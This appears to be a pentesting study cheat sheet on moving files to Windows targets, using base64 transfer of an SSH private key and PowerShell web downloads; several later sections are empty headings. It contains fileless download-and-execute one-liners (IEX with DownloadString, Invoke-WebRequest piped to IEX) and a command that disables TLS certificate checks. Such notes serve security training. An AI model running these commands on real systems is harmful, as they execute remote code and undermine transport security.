Windows File Transfer

This sections contains different methods to transfer a file to or from a windows machine.

Transfer File to Target Machine

PowerShell Base64 Encode & Decode

# Pwnbox Check SSH Key MD5 Hash
md5sum id_rsa

# Pwnbox Encode SSH Key to Base64
cat id_rsa |base64 -w 0;echo

# Copy the content and paste in windows powersehll terminal and use some powershel functions to decode it 
PS C:\> [IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("LS0tLS1C----0tLQo="))

# We can confirm if the file was transferred successfully using the Get-FileHash cmdlet, which does the same thing that md5sum does.
PS C:\> Get-FileHash C:\Users\Public\id_rsa -Algorithm md5

PowerShell Web Downloads

------------------- PowerShell DownloadFile Method ---------------------

PS C:\> # Example: (New-Object Net.WebClient).DownloadFile('<Target File URL>','<Output File Name>')
PS C:\> (New-Object Net.WebClient).DownloadFile('<https://URL','C:\PATH')

PS C:\> # Example: (New-Object Net.WebClient).DownloadFileAsync('<Target File URL>','<Output File Name>')
PS C:\> (New-Object Net.WebClient).DownloadFileAsync('<https://URL', 'filename.ps1')

---------------- PowerShell DownloadString - Fileless Method ----------------

PS C:\> IEX (New-Object Net.WebClient).DownloadString('<https://URL')

--------------------- PowerShell Invoke-WebRequest -----------------------

# You can use the aliases iwr, curl, and wget instead of the Invoke-WebRequest full name.
PS C:\>Invoke-WebRequest <https://URL/PowerView.ps1> -OutFile PowerView.ps1

# if ps shows error Internet Explorer first-launch configuration has not been completed, it can be bypassed using the parameter -UseBasicParsing.
PS C:\> Invoke-WebRequest https://<ip>/ -UseBasicParsing | IEX

# another error ps shows is related to the SSL/TLS secure channel if the certificate is not trusted
PS C:\> [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

SMB Downloads

FTP Downloads

Get File from target host to our attack machine

PowerShell Base64 Encode & Decode

PowerShell Web Uploads

SMB Uploads

FTP Uploads

Last updated